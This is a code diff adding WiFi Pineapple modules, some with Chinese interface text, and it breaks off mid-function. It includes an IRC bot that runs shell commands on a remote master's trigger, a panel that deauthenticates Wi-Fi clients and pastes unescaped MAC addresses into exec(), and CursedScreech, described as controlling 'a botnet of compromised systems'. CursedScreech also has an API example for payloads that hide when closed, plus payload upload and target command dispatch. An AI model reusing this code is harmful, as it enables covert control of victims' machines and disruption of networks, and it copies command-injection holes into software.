+
+[Commands]
+example: mkdir /test/ && touch /test/commander
+
+[Other]
+Debug: off

+ 122 - 0
modules/src/Commander/Python/commander.py

@@ -0,0 +1,122 @@
+#!/usr/bin/python
+
+"""
+Commander.py - Python Backend for the WiFi Pineapple Commander module.
+Version 2 Codename: Electric Boogaloo
+
+Thanks to: sebkinne & tesla
+
+Foxtrot (C) 2016 <foxtrotnull@gmail.com>
+"""
+
+import os
+import ConfigParser
+import sys
+import socket
+import time
+import string
+import select
+import errno
+
+class Commander(object):
+	print "[*] WiFi Pineapple Commander Module"
+	print "[*] peace to: sebkinne & tesla"
+	
+	def run(self):
+		while True:
+			self.fillBuffer()
+			self.parseCommands()
+
+	def parseConfig(self):
+		if os.path.exists('commander.conf'):
+			self.config = ConfigParser.RawConfigParser()
+			self.config.read('commander.conf')
+			if self.config.has_section('Network') and self.config.has_section('Security') and self.config.has_section('Commands') and self.config.has_section('Other'):
+				print "[*] Valid configuration file found!"
+				print ""
+			else:
+				print "[!] No valid configuration file found... Exiting!"
+				sys.exit(1)
+
+		self.server = self.config.get('Network', 'Server')
+		self.port = self.config.getint('Network', 'Port')
+		self.nick = self.config.get('Network', 'Nickname')
+		self.channel = self.config.get('Network', 'Channel')
+		self.master = self.config.get('Security', 'Master')
+		self.trigger = self.config.get('Security', 'Trigger')
+		self.commands = self.config.options('Commands')
+		self.debugmode = self.config.get('Other', 'Debug')
+
+	def printConfig(self):
+		print "[*] Using the following connection settings:"
+		print "    %s" % self.server
+		print "    %d" % self.port
+		print "    %s" % self.nick
+		print "    %s" % self.channel
+		print ""
+
+		print "[*] Using the following security settings:"
+		print "    Master: %s" % self.master
+		print "    Trigger: %s\n" % self.trigger
+
+		print "[*] Listing commands:"
+		for command in self.commands:
+			print "    %s%s" % (self.trigger, command)
+		print ""
+
+	def connect(self):
+		self.sock = socket.socket()
+		print "[*] Connecting!"
+		self.sock.connect((self.server, self.port))
+		print "[*] Sending nick and user information"
+		self.sock.send('NICK %s\r\n' % self.nick)
+		self.sock.send('USER %s 8 * :%s\r\n' % (self.nick, self.nick))
+		time.sleep(2)
+		self.sock.send('JOIN %s\r\n' % self.channel)
+		self.sock.send('PRIVMSG %s :Connected.\r\n' % self.channel)
+		print "[*] Connected!\n"
+
+	def fillBuffer(self):
+		self.buff = ""
+		self.sock.setblocking(0)
+
+		readable, _, _ = select.select([self.sock], [], [])
+		
+		if self.sock in readable:
+			self.buff = ""
+			cont = True
+			while cont:
+				try:
+					self.buff += self.sock.recv(1024)
+				except socket.error,e:
+					if e.errno != errno.EWOULDBLOCK:
+						sys.exit(1)
+					cont = False
+
+	def parseCommands(self):
+		for line in self.buff.split('\r\n'):
+			if self.debugmode.lower() == "on":
+				print line
+				
+			line = line.split()
+
+			if 'PING' in line:
+				print "[*] Replying to ping\n"
+				self.sock.send('PONG ' + line.split()[1] + '\r\n')
+
+			for command in self.commands:
+				if line and line[0].lower().startswith(":" + self.master.lower() + "!"):
+					if ":" + self.trigger + command in line:
+						print "[*] Found command %s%s\n" % (self.trigger, command)
+						self.sock.send('PRIVMSG %s :Executing command %s\r\n' % (self.channel, command))
+						cmd = self.config.get('Commands', command)
+						os.system(cmd)
+
+
+
+if __name__ == '__main__':
+	commander = Commander()
+	commander.parseConfig()
+	commander.printConfig()
+	commander.connect()
+	commander.run()

+ 61 - 0
modules/src/Commander/api/module.php

@@ -0,0 +1,61 @@
+<?php namespace pineapple;
+
+class Commander extends Module
+{
+    public function route()
+    {
+        switch ($this->request->action) {
+            case 'startCommander':
+                $this->startCommander();
+                break;
+
+            case 'stopCommander':
+                $this->stopCommander();
+                break;
+
+            case 'getConfiguration':
+                $this->getConfiguration();
+                break;
+
+            case 'saveConfiguration':
+                $this->saveConfiguration();
+                break;
+
+            case 'restoreDefaultConfiguration':
+                $this->restoreDefaultConfiguration();
+                break;
+        }
+    }
+
+    private function startCommander()
+    {
+        $this->execBackground('cd /pineapple/modules/Commander/Python && python commander.py');
+        $this->response = array("success" => true);
+    }
+
+    private function stopCommander()
+    {
+        exec('kill -9 $(pgrep -f commander)');
+        $this->response = array("success" => true);
+    }
+
+    private function getConfiguration()
+    {
+        $config = file_get_contents('/pineapple/modules/Commander/Python/commander.conf');
+        $this->response = array("CommanderConfiguration" => $config);
+    }
+
+    private function saveConfiguration()
+    {
+        $config = $this->request->CommanderConfiguration;
+        file_put_contents('/pineapple/modules/Commander/Python/commander.conf', $config);
+        $this->response = array("success" => true);
+    }
+
+    private function restoreDefaultConfiguration()
+    {
+        $defaultConfig = file_get_contents('/pineapple/modules/Commander/assets/default.conf');
+        file_put_contents('/pineapple/modules/Commander/Python/commander.conf', $defaultConfig);
+        $this->response = array("success" => true);
+    }
+}

+ 15 - 0
modules/src/Commander/assets/default.conf

@@ -0,0 +1,15 @@
+[Network]
+Server: irc.example.com
+Port: 6667
+Nickname: Commander
+Channel: #commander
+
+[Security]
+Master: Foxtrot
+Trigger: !
+
+[Commands]
+example: mkdir /test/ && touch /test/commander
+
+[Other]
+Debug: off

+ 67 - 0
modules/src/Commander/js/module.js

@@ -0,0 +1,67 @@
+registerController('CommanderController', ['$api', '$scope', function($api, $scope) {
+    $scope.commanderRunning = false;
+
+    $scope.startCommander = (function() {
+        $api.request({
+            module: 'Commander',
+            action: 'startCommander'
+        }, function(response) {
+            if (response.success === true) {
+                $scope.commanderRunning = true;
+            }
+        });
+    });
+
+    $scope.stopCommander = (function() {
+        $api.request({
+            module: 'Commander',
+            action: 'stopCommander'
+        }, function(response){
+            if (response.success === true) {
+                $scope.commanderRunning = false;
+            }
+        });
+    });
+}]);
+
+registerController('CommanderManageController', ['$api', '$scope', '$timeout', function($api, $scope, $timeout) {
+    $scope.CommanderConfiguration = "";
+
+    $scope.getConfiguration = (function() {
+        $api.request({
+            module: 'Commander',
+            action: 'getConfiguration'
+        }, function(response) {
+            console.log(response);
+            if (response.error === undefined){
+                $scope.CommanderConfiguration = response.CommanderConfiguration;
+            }
+        });
+    });
+
+    $scope.saveConfiguration = (function() {
+        $api.request({
+            module: 'Commander',
+            action: 'saveConfiguration',
+            CommanderConfiguration: $scope.CommanderConfiguration
+        }, function(response) {
+            console.log(response);
+            if (response.success === true){
+                $scope.getConfiguration();
+            }
+        });
+    });
+
+    $scope.restoreDefaultConfiguration = (function() {
+        $api.request({
+            module: 'Commander',
+            action: 'restoreDefaultConfiguration'
+        }, function(response) {
+            if (response.success === true) {
+                $scope.getConfiguration();
+            }
+        });
+    });
+
+    $scope.getConfiguration();
+}]);

+ 50 - 0
modules/src/Commander/module.html

@@ -0,0 +1,50 @@
+<div class="row">
+	<div class="col-md-12">
+		<div class="panel panel-default">
+			<div class="panel-heading">
+				<h3 class="panel-title">ICR
+					<button type="button" class="close pull-right" data-toggle="modal" data-target="#information" aria-label="Close"><span aria-hidden="true">i</span></button></h3></h3>
+				</div>
+			</div>
+		</div>
+	
+					
+				</div>
+			</div>
+		</div>
+	</div>
+
+	<div class="row">
+		<div class="col-md-5" ng-controller="CommanderController">
+			<div class="panel panel-default">
+				<div class="panel-heading">
+					<h3 class="panel-title">控制</h3>
+				</div>
+				<div class="panel-body">
+					状态 : <span class="text-success" ng-show="commanderRunning">运行</span> <span ng-hide="commanderRunning" class="text-danger">未运行!</span>
+
+					<button class="btn btn-sm btn-primary pull-right" ng-click="startCommander()" ng-hide="commanderRunning">开始</button>
+					<button class="btn btn-sm btn-primary pull-right" ng-click="stopCommander()" ng-show="commanderRunning">停止</button>
+				</div>
+			</div>
+		</div>
+
+		<div class="col-md-7" ng-controller="CommanderManageController">
+			<div class="panel panel-default">
+				<div class="panel-heading">
+					<h3 class="panel-title">管理
+						<button type="button" ng-click="getConfiguration();" class="close pull-right"aria-label="Refresh"><span aria-hidden="true">&#8635;</span></button></h3>
+					</div>
+					<div class="panel-body">
+						<p>编辑配置:</p>
+						<p>
+							<textarea class="form-control" rows="15" ng-model="CommanderConfiguration"></textarea>
+						</p>
+
+						<p class="well well-sm alert-success" ng-show="configSaved">配置已保存</p>
+						<button type="submit" class="btn btn-sm btn-primary" ng-click="saveConfiguration()">保存配置</button>
+						<button type="submit" class="btn btn-sm btn-warning" ng-click="restoreDefaultConfiguration()">恢复默认值</button>
+					</div>
+				</div>
+			</div>
+		</div>

+ 10 - 0
modules/src/Commander/module.info

@@ -0,0 +1,10 @@
+{
+    "author": "Foxtrot",
+    "description": "通过IRC控制",
+    "devices": [
+        "nano",
+        "tetra"
+    ],
+    "title": "IRC",
+    "version": "2.1"
+}

+ 78 - 0
modules/src/ConnectedClients/api/module.php

@@ -0,0 +1,78 @@
+<?php namespace pineapple;
+
+class ConnectedClients extends Module
+{
+	public function route()
+	{
+		switch ($this->request->action) {
+			case 'getVersionInfo':
+			$this->getVersionInfo();
+			break;
+			case 'getDHCPLeases':
+			$this->getDHCPLeases();
+			break;
+			case 'getBlacklist':
+			$this->getBlacklist();
+			break;
+			case 'getConnectedClients':
+			$this->getConnectedClients();
+			break;
+			case 'removeMacAddress':
+			$this->removeMacAddress();
+			break;
+			case 'addMacAddress':
+			$this->addMacAddress();
+			break;
+			case 'disassociateMac':
+			$this->disassociateMac();
+			break;
+			case 'deauthenticateMac':
+			$this->deauthenticateMac();
+			break;
+		}
+	}
+
+	protected function getVersionInfo() {
+		$moduleInfo = @json_decode(file_get_contents("/pineapple/modules/ConnectedClients/module.info"));
+		$this->response = array('title' => $moduleInfo->title, 'version' => $moduleInfo->version);
+	}
+
+	private function getDHCPLeases() {
+		exec("cat /tmp/dhcp.leases", $dhcpleases);
+		$this->response = array('dhcpleases' => $dhcpleases);		
+
+	}
+
+	private function getBlacklist() {
+		exec("pineapple karma list_macs", $mac_list);
+		$this->response = array('blacklist' => $mac_list);
+	}
+
+	private function getConnectedClients() {
+		exec("iwconfig 2>/dev/null | grep IEEE | awk '{print $1}'", $wlandev);
+		exec("iw dev $wlandev[0] station dump | grep Station | awk '{print $2}'", $wlan0clients);
+		exec("iw dev $wlandev[1] station dump | grep Station | awk '{print $2}'", $wlan01clients);
+		exec("iw dev $wlandev[2] station dump | grep Station | awk '{print $2}'", $wlan1clients);
+		$this->response = array('wlan0clients' => $wlan0clients, 'wlan01clients' => $wlan01clients, 'wlan1clients' => $wlan1clients, 'wlandev' => $wlandev);
+	}
+
+	private function removeMacAddress() {
+		exec('pineapple karma del_mac "'.$this->request->macAddress.'"', $removeMacResponse);
+		$this->response = array('removeMacResponse' => $removeMacResponse);
+	}
+
+	private function addMacAddress() {
+		exec('pineapple karma add_mac "'.$this->request->macAddress.'"', $addMacResponse);
+		$this->response = array('addMacResponse' => $addMacResponse);
+	}
+
+	private function disassociateMac() {
+		exec('hostapd_cli disassociate "'.$this->request->macAddress.'"', $disassociateResponse);
+		$this->response = array('disassociateResponse' => $disassociateResponse);
+	}
+
+	private function deauthenticateMac() {
+		exec('hostapd_cli deauthenticate "'.$this->request->macAddress.'"', $deauthenticateResponse);
+		$this->response = array('deauthSuccess' => 'Successful', 'deauthenticateResponse' => $deauthenticateResponse);
+	}
+}

+ 114 - 0
modules/src/ConnectedClients/js/module.js

@@ -0,0 +1,114 @@
+registerController('ConnectedClientsController', ['$api', '$scope', function($api, $scope) {
+	$scope.title = "Loading...";
+	$scope.version = "Loading...";
+	$scope.clientslength = 0;
+	$scope.wlan0clients = [];
+	$scope.wlan01clients = [];
+	$scope.wlan1clients = [];
+	$scope.wlandev = [];
+	$scope.dhcplength = 0;
+	$scope.dhcpleases = [];
+	$scope.blacklistlength = 0;
+	$scope.blacklist = [];
+
+	// this function gets info from the module.info file
+	$scope.getVersionInfo = (function() {
+		$api.request({
+			module: 'ConnectedClients',
+			action: 'getVersionInfo'
+		}, function(response) {
+			$scope.title = response.title;
+			$scope.version = response.version;
+		});
+	});
+
+	// this function gets the connected clients information and fills in the panel
+	$scope.getConnectedClients = (function() {
+		$api.request({
+			module: 'ConnectedClients',
+			action: 'getConnectedClients'
+		}, function(response) {
+			$scope.clientslength = response.wlan0clients.length + response.wlan01clients.length + response.wlan1clients.length;
+			$scope.wlan0clients = response.wlan0clients;
+			$scope.wlan01clients = response.wlan01clients;
+			$scope.wlan1clients = response.wlan1clients;
+			$scope.wlandev = response.wlandev;
+		});
+	});
+
+	// this function adds a mac address to the blacklist
+	$scope.addMacAddress = (function(macAddress) {
+		$api.request({
+			module: 'ConnectedClients',
+			action: 'addMacAddress',
+			macAddress: macAddress
+		}, function(response) {
+			$scope.getBlacklist();
+		});
+	});
+
+	// this function gets the DHCP leases from the file system and fills in the panel
+	$scope.getDHCPLeases = (function() {
+		$api.request({
+			module: 'ConnectedClients',
+			action: 'getDHCPLeases'
+		}, function(response) {
+			$scope.dhcplength = response.dhcpleases.length;
+			$dhcp = response.dhcpleases;
+			for (var i = $scope.dhcplength - 1; i >= 0; i--) {
+				$dhcp[i] = $dhcp[i].split(' ');
+			}
+			$scope.dhcpleases = $dhcp;
+		});
+	});
+
+	// this function removes a MAC address from the blacklist
+	$scope.removeMacAddress = (function(macAddress) {
+		$api.request({
+			module: 'ConnectedClients',
+			action: 'removeMacAddress',
+			macAddress: macAddress
+		}, function(response) {
+			$scope.getBlacklist();
+		});
+	});
+
+	// this function retrieves the blacklist and fills it in on the panel
+	$scope.getBlacklist = (function() {
+		$api.request({
+			module: 'ConnectedClients',
+			action: 'getBlacklist'
+		}, function(response) {
+			$scope.blacklistlength = response.blacklist.length;
+			$scope.blacklist = response.blacklist;
+		});
+	});
+
+	// this function disassociates a MAC address
+	$scope.disassociateMac = (function(macAddress) {
+		$api.request({
+			module: 'ConnectedClients',
+			action: 'disassociateMac',
+			macAddress: macAddress
+		}, function(response) {
+			$scope.getConnectedClients();
+		});
+	});
+
+	// this function deauthenticates a MAC address
+	$scope.deauthenticateMac = (function(macAddress) {
+		$api.request({
+			module: 'ConnectedClients',
+			action: 'deauthenticateMac',
+			macAddress: macAddress
+		}, function(response) {
+			$scope.getConnectedClients();
+		});
+	});
+
+	// initialize the panels
+	$scope.getVersionInfo();
+	$scope.getBlacklist();
+	$scope.getConnectedClients();
+	$scope.getDHCPLeases();
+}]);

+ 59 - 0
modules/src/ConnectedClients/module.html

@@ -0,0 +1,59 @@
+<div ng-controller="ConnectedClientsController">
+	<div class="panel panel-default">
+		<div class="panel-heading">
+			<h4 class="panel-title pull-left">{{title}}</h4>
+			<span class="pull-right">v{{version}}</span>
+			<div class="clearfix"></div>
+		</div>
+	</div>
+	<div class="panel panel-default">
+		<div class="panel-heading pointer" data-toggle="collapse" data-target="#ClientsContainer">
+			<h4 class="panel-title pull-left">连接的客户端</h4>
+			<span class="pull-right">数量: {{ clientslength }}</span>
+		  <div class="clearfix"></div>
+		</div>
+		<div id="ClientsContainer" class="panel-collapse collapse in">
+			<h3 class="text-center">{{ wlandev[0] }}</h3>
+			<table class="table table-striped table-bordered text-center">
+				<tr><th class="text-center">MAC地址</th><th class="text-center">解除关联&nbsp;</th><th class="text-center">取消认证</th><th class="text-center">黑名单</th></tr>
+				<tr ng-repeat="wlan0 in wlan0clients"><td>{{ wlan0 }}</td><td><button type="button" class="btn btn-danger" ng-click="disassociateMac(wlan0)">解除关联</button></td><td><button type="button" class="btn btn-danger" ng-click="deauthenticateMac(wlan0)">取消认证</button></td><td><button type="button" class="btn btn-danger" ng-click="addMacAddress(wlan0)">黑名单</button></td></tr>
+			</table>
+			<h3 class="text-center">{{ wlandev[1] }}</h3>
+			<table class="table table-striped table-bordered text-center">
+				<tr><th class="text-center">MAC地址</th><th class="text-center">解除关联</th><th class="text-center">取消认证</th><th class="text-center">黑名单</th></tr>
+				<tr ng-repeat="wlan01 in wlan01clients"><td>{{ wlan01 }}</td><td><button type="button" class="btn btn-danger" ng-click="disassociateMac(wlan01)">解除关联</button></td><td><button type="button" class="btn btn-danger" ng-click="deauthenticateMac(wlan01)">取消认证</button></td><td><button type="button" class="btn btn-danger" ng-click="addMacAddress(wlan01)">黑名单</button></td></tr>
+			</table>
+			<h3 class="text-center">{{ wlandev[2] }}</h3>
+			<table class="table table-striped table-bordered text-center">
+				<tr><th class="text-center">MAC地址</th><th class="text-center">解除关联</th><th class="text-center">取消认证</th><th class="text-center">黑名单</th></tr>
+				<tr ng-repeat="wlan1 in wlan1clients"><td>{{ wlan1 }}</td><td><button type="button" class="btn btn-danger" ng-click="disassociateMac(wlan1)">解除关联</button></td><td><button type="button" class="btn btn-danger" ng-click="deauthenticateMac(wlan1)">取消认证</button></td><td><button type="button" class="btn btn-danger" ng-click="addMacAddress(wlan1)">黑名单</button></td></tr>
+			</table>
+		</div>
+	</div>
+	<div class="panel panel-default">
+		<div class="panel-heading pointer" data-toggle="collapse" data-target="#DHCPContainer">
+			<h4 class="panel-title pull-left">DHCP</h4>
+			<span class="pull-right">数量: {{ dhcplength }}</span>
+		  <div class="clearfix"></div>
+	  </div>
+		<div id="DHCPContainer" class="panel-collapse collapse in">
+			<table class="table table-striped table-bordered text-center">
+				<tr><th class="text-center">主机名</th><th class="text-center">IP 地址</th><th class="text-center">MAC 地址</th><th class="text-center">黑名单</th></tr>
+				<tr ng-repeat="dhcplease in dhcpleases"><td>{{ dhcplease[3] }}</td><td>{{ dhcplease[2] }}</td><td>{{ dhcplease[1] }}</td><td><button type="button" class="btn btn-danger" ng-click="addMacAddress(dhcplease[1])">黑名单</button></td></tr>
+			</table>
+		</div>
+	</div>
+	<div class="panel panel-default">
+		<div class="panel-heading pointer" data-toggle="collapse" data-target="#BlacklistContainer">
+			<h4 class="panel-title pull-left">黑名单</h4>
+			<span class="pull-right">数量: {{ blacklistlength }}</span>
+			<div class="clearfix"></div>
+		</div>
+		<div id="BlacklistContainer" class="panel-collapse collapse in">
+			<table class="table table-striped table-bordered text-center">
+				<tr><th class="text-center">MAC 地址</th><th class="text-center">移除</th></tr>
+				<tr ng-repeat="mac in blacklist track by $index"><td>{{ mac }}</td><td><button type="button" class="btn btn-danger" ng-click="removeMacAddress(mac)">移除</button></td></tr>
+			</table>
+		</div>
+	</div>
+</div>

+ 10 - 0
modules/src/ConnectedClients/module.info

@@ -0,0 +1,10 @@
+{
+    "author": "r3dfish",
+    "description": "提供有关连接客户端的信息",
+    "devices": [
+        "nano",
+        "tetra"
+    ],
+    "title": "客户端",
+    "version": "1.4"
+}

+ 66 - 0
modules/src/CursedScreech/README.md

@@ -0,0 +1,66 @@
+# CursedScreech
+
+A mass communicator module for the WiFi Pineapple that utilizes TLS to control a botnet of compromised systems.  Included is a C# API and Python API (with documentation) to write payloads that can communicate with CursedScreech and PortalAuth.
+
+
+# APIs
+I recommend using C# over Python to build your payload.  Both APIs are really simple to use but using C# will allow you to create a self-contained executable along with required keys/certificates.  Writing your payload in Python will require you to freeze your code and it can be difficult, if not impossible, to include all required files in a single executable.  If you can't make a single executable you will have to find a way to move the whole dist directory to the target machine.
+
+### C# API Example
+```
+using System;
+using System.Drawing;
+using System.Windows.Forms;
+using PineappleModules;
+
+namespace Payload
+{
+	public partial class Form1 : Form {
+    
+		PA_Authorization pauth = new PA_Authorization();
+	
+		public Form1() {
+			InitializeComponent();
+	
+			CursedScreech cs = new CursedScreech();
+			cs.startMulticaster("231.253.78.29", 19578);
+			cs.setRemoteCertificateSerial("EF-BE-AD-DE");
+			cs.setRemoteCertificateHash("1234567890ABCDEF");
+			cs.startSecureServerThread("Payload.Payload.pfx", "#$My$ecuR3P4ssw*rd&");
+		}
+		private void Form1_FormClosing(object sender, FormClosingEventArgs e) {
+			e.Cancel = true;
+			this.Hide();
+		}
+		private void accessKeyButton_Click(object sender, EventArgs e) {
+				
+			// Request an access key from the Pineapple
+			string key = pauth.getAccessKey();
+	
+			// Check if a key was returned
+			string msg;
+			if (key.Length > 0) {
+				msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key;
+			}
+			else {
+				msg = "Failed to retrieve an access key from the server.  Please try again later.";
+			}
+			
+			// Display message to the user
+			MessageBox.Show(msg);
+		}
+	}
+}
+
+```
+
+
+### Python API Example
+```
+from PineappleModules import CursedScreech
+
+cs = CursedScreech("Network Client")
+cs.startMulticaster("231.253.78.29", 19578)
+cs.setRemoteCertificateSerial("ABCDEF1234567890")
+cs.startSecureServerThread("payload.pem", "payload.cer", "cursedscreech.cer")
+```

+ 654 - 0
modules/src/CursedScreech/api/module.php

@@ -0,0 +1,654 @@
+<?php
+
+namespace pineapple;
+
+// Root level includes
+define('__INCLUDES__', "/pineapple/modules/CursedScreech/includes/");
+
+// Define to hook into Papers' SSL store
+define('__SSLSTORE__', "/pineapple/modules/Papers/includes/ssl/");
+
+// Main directory defines
+define('__FOREST__', __INCLUDES__ . 'forest/');
+define('__SCRIPTS__', __INCLUDES__ . "scripts/");
+define('__HELPFILES__', __INCLUDES__ . "help/");
+define('__CHANGELOGS__', __INCLUDES__ . "changelog/");
+define('__LOGS__', __INCLUDES__ . "errorlogs/");
+define('__TARGETLOGS__', __FOREST__ . "targetlogs/");
+define('__PAYLOADS__', __INCLUDES__ . "payloads/");
+
+// API defines
+define('__API_CS__', __INCLUDES__ . "api/cs/");
+define('__API_PY__', __INCLUDES__ . "api/python/");
+define('__API_DL__', __INCLUDES__ . "api/downloads/");
+
+// File location defines
+define('__ACTIVITYLOG__', __FOREST__ . 'activity.log');
+define('__SETTINGS__', __FOREST__ . 'settings');
+define('__TARGETS__', __FOREST__ . "targets.log");
+define('__COMMANDLOG__', __FOREST__ . "cmd.log");
+define('__EZCMDS__', __FOREST__ . "ezcmds");
+
+
+/*
+	Move the uploaded file to the payloads directory
+*/
+if (!empty($_FILES)) {
+	$response = [];
+	foreach ($_FILES as $file) {
+		$tempPath = $file[ 'tmp_name' ];
+		$name = pathinfo($file['name'], PATHINFO_FILENAME);
+		$type = pathinfo($file['name'], PATHINFO_EXTENSION);
+		
+		// Ensure the upload directory exists
+		if (!file_exists(__PAYLOADS__)) {
+			if (!mkdir(__PAYLOADS__, 0755, true)) {
+				$response[$name]['success'] = "失败";
+				$response[$name]['message'] = "无法创建payload载目录";
+				echo json_encode($response);
+				die();
+			}
+		}
+		
+		$uploadPath = __PAYLOADS__ . $name . "." . $type;
+		$res = move_uploaded_file($tempPath, $uploadPath);
+		
+		if ($res) {
+			$response[$name]['success'] = "Success";
+		} else {
+			$response[$name]['success'] = "失败";
+			$response[$name]['message'] = "未能上传payload '" . $name . "." . $type . "'";
+		}
+	}
+	echo json_encode($response);
+	die();
+}
+
+class CursedScreech extends Module {
+	public function route() {
+		switch ($this->request->action) {
+			case 'init':
+				$this->init();
+				break;
+			case 'depends':
+				$this->depends($this->request->task);
+				break;
+			case 'loadSettings':
+				$this->loadSettings();
+				break;
+			case 'updateSettings':
+				$this->updateSettings($this->request->settings);
+				break;
+			case 'readLog':
+				$this->retrieveLog($this->request->logName, $this->request->type);
+				break;
+			case 'getLogs':
+				$this->getLogs($this->request->type);
+				break;
+			case 'clearLog':
+				$this->clearLog($this->request->logName, $this->request->type);
+				break;
+			case 'deleteLog':
+				$this->deleteLog($this->request->logName, $this->request->type);
+				break;
+			case 'startProc':
+				$this->startProc($this->request->procName);
+				break;
+			case 'procStatus':
+				$this->procStatus($this->request->procName);
+				break;
+			case 'stopProc':
+				$this->stopProc($this->request->procName);
+				break;
+			case 'loadCertificates':
+				if (is_dir(__SSLSTORE__)) {
+					$this->loadCertificates();
+				} else {
+					$this->respond(false, "未安装证书。请手动输入密钥的路径。");
+				}
+				break;
+			case 'loadTargets':
+				$this->loadTargets();
+				break;
+			case 'deleteTarget':
+				$this->deleteTarget($this->request->target);
+				break;
+			case 'sendCommand':
+				$this->sendCommand($this->request->command, $this->request->targets);
+				break;
+			case 'downloadLog':
+				$this->downloadLog($this->request->logName, $this->request->logType);
+				break;
+			case 'loadEZCmds':
+				$this->loadEZCmds();
+				break;
+			case 'saveEZCmds':
+				$this->saveEZCmds($this->request->ezcmds);
+				break;
+			case 'genPayload':
+				$this->genPayload($this->request->type);
+				break;
+			case 'clearDownloads':
+				$this->clearDownloads();
+				break;
+			case 'loadAvailableInterfaces':
+				$this->loadAvailableInterfaces();
+				break;
+			case 'getPayloads':
+				$this->getPayloads();
+				break;
+			case 'deletePayload':
+				$this->deletePayload($this->request->filePath);
+				break;
+			case 'cfgUploadLimit':
+				$this->cfgUploadLimit();
+				break;
+		}
+	}
+	
+	/* ============================ */
+	/*        INIT FUNCTIONS        */
+	/* ============================ */
+	
+	private function init() {
+		if (!file_exists(__LOGS__)) {
+			if (!mkdir(__LOGS__, 0755, true)) {
+				$this->respond(false, "无法创建日志目录");
+				return false;
+			}
+		}
+		
+		if (!file_exists(__API_DL__)) {
+			if (!mkdir(__API_DL__, 0755, true)) {
+				$this->logError("初始化失败", "无法初始化,因为无法创建API下载目录结构");
+				$this->respond(false);
+				return false;
+			}
+		}
+		
+		if (!file_exists(__TARGETLOGS__)) {
+			if (!mkdir(__TARGETLOGS__, 0755, true)) {
+				$this->logError("初始化失败", "无法初始化,因为targetlogs目录位于 '" . __TARGETLOGS__ . "' 无法创建");
+				$this->respond(false);
+				return false;
+			}
+		}
+	}
+	
+	/* ============================ */
+	/*      DEPENDS FUNCTIONS       */
+	/* ============================ */
+	
+	private function depends($action) {
+		$retData = array();
+		
+		if ($action == "install") {
+			exec(__SCRIPTS__ . "installDepends.sh", $retData);
+			if (implode(" ", $retData) == "Complete") {
+				$this->respond(true);
+				return true;
+			} else {
+				$this->respond(false);
+				return false;
+			}
+		} else if ($action == "remove") {
+			exec(__SCRIPTS__ . "removeDepends.sh");
+			$this->respond(true);
+			return true;
+		} else if ($action == "check") {
+			exec(__SCRIPTS__ . "checkDepends.sh", $retData);
+			if (implode(" ", $retData) == "Installed") {
+				$this->respond(true);
+				return true;
+			} else {
+				$this->respond(false);
+				return false;
+			}
+		}
+	}
+	
+	/* ============================ */
+	/*      SETTINGS FUNCTIONS      */
+	/* ============================ */
+	
+	private function loadSettings(){
+		$configs = array();
+		$config_file = fopen(__SETTINGS__, "r");
+		if ($config_file) {
+			while (($line = fgets($config_file)) !== false) {
+				$item = explode("=", $line);
+				$key = $item[0]; $val = trim($item[1]);
+				$configs[$key] = $val;
+			}
+		}
+		fclose($config_file);
+		$this->respond(true, null, $configs);
+		return $configs;
+	}
+	
+	private function updateSettings($settings) {
+		// Load the current settings from file
+		$configs = $this->loadSettings();
+		
+		// Update the current list.  We do it this way so only the requested
+		// settings are updated. Probably not necessary but whatevs.
+		foreach ($settings as $k => $v) {
+			$configs["$k"] = $v;
+		}
+
+		// Get the serial number of the target's public cert
+		$configs['client_serial'] = exec(__SCRIPTS__ . "getCertSerial.sh " . $configs['target_key'] . ".cer");
+		$configs['kuro_serial'] = exec(__SCRIPTS__ . "getCertSerial.sh " . $configs['kuro_key'] . ".cer");
+		
+		// Get the IP address of the selected listening interface
+		$configs['iface_ip'] = exec(__SCRIPTS__ . "getInterfaceIP.sh " . $configs['iface_name']);
+		
+		// Push the updated settings back out to the file
+		$config_file = fopen(__SETTINGS__, "w");
+		foreach ($configs as $k => $v) {
+			fwrite($config_file, $k . "=" . $v . "\n");
+		}
+		fclose($config_file);
+		
+		$this->respond(true);
+	}
+	
+	/* ============================ */
+	/*       FOREST FUNCTIONS       */
+	/* ============================ */
+	
+	private function startProc($procName) {
+		if ($procName == "kuro.py") {
+			file_put_contents(__ACTIVITYLOG__, "[+] Starting Kuro...\n", FILE_APPEND);
+		}
+		$cmd = "python " . __FOREST__ . $procName . " > /dev/null 2>&1 &";
+		exec($cmd);
+		
+		// Check if the process is running and return it's PID
+		if (($pid = $this->getPID($procName)) != "") {
+			$this->respond(true, null, $pid);
+			return $pid;
+		} else {
+			$this->logError("失败_流程", "以下命令无法执行:<br /><br />" . $cmd);
+			$this->respond(false);
+			return false;
+		}
+	}
+	
+	private function procStatus($procName) {
+		if (($status = $this->getPID($procName)) != "") {
+			$this->respond(true, null, $status);
+			return true;
+		}
+		$this->respond(false);
+		return false;
+	}
+	
+	private function stopProc($procName) {
+		// Check if the process is running, if so grab it's PID
+		if (($pid = $this->getPID($procName)) == "") {
+			$this->respond(true);
+			return true;
+		}
+		
+		// Kuro requires a special bullet
+		if ($procName == "kuro.py") {
+			file_put_contents(__ACTIVITYLOG__, "[!] Stopping Kuro...\n", FILE_APPEND);
+			exec("echo 'killyour:self' >> " . __COMMANDLOG__);
+		} else {
+			// Kill the process
+			exec("kill " . $pid);
+		}
+		
+		// Check one more time if it's still running
+		if (($pid = $this->getPID($procName)) == "") {
+			$this->respond(true);
+			return true;
+		}
+		$this->respond(false);
+		return false;
+	}
+	
+	private function getPID($procName) {
+		$data = array();
+		exec("pgrep -lf " . $procName, $data);
+		$output = explode(" ", $data[0]);
+		if (strpos($output[1], "python") !== False) {
+			return $output[0];
+		}
+		return false;
+	}
+	
+	private function loadTargets() {
+		$targets = array();
+		$fh = fopen(__TARGETS__, "r");
+		if ($fh) {
+			while (($line = fgets($fh)) !== False) {
+				array_push($targets, rtrim($line, "\n"));
+			}
+		} else {
+			$this->respond(false, "Failed to open " . __TARGETS__);
+			return false;
+		}
+		fclose($fh);
+		$this->respond(true, null, $targets);
+		return $targets;
+	}
+	
+	private function deleteTarget($target) {
+		$targetFile = explode("\n", file_get_contents(__TARGETS__));
+		$key = array_search($target, $targetFile, true);
+		if ($key !== False) {
+			unset($targetFile[$key]);
+		}
+		
+		$fh = fopen(__TARGETS__, "w");
+		fwrite($fh, implode("\n", $targetFile));
+		fclose($fh);
+		
+		$this->respond(true);
+		return true;
+	}
+	
+	private function sendCommand($cmd, $targets) {
+		if (count($targets) == 0) {
+			$this->respond(false);
+			return;
+		}
+		
+		$output = "";
+		foreach ($targets as $target) {
+			$output .= $cmd . ":" . $target . "\n";
+		}
+		$fh = fopen(__COMMANDLOG__, "w");
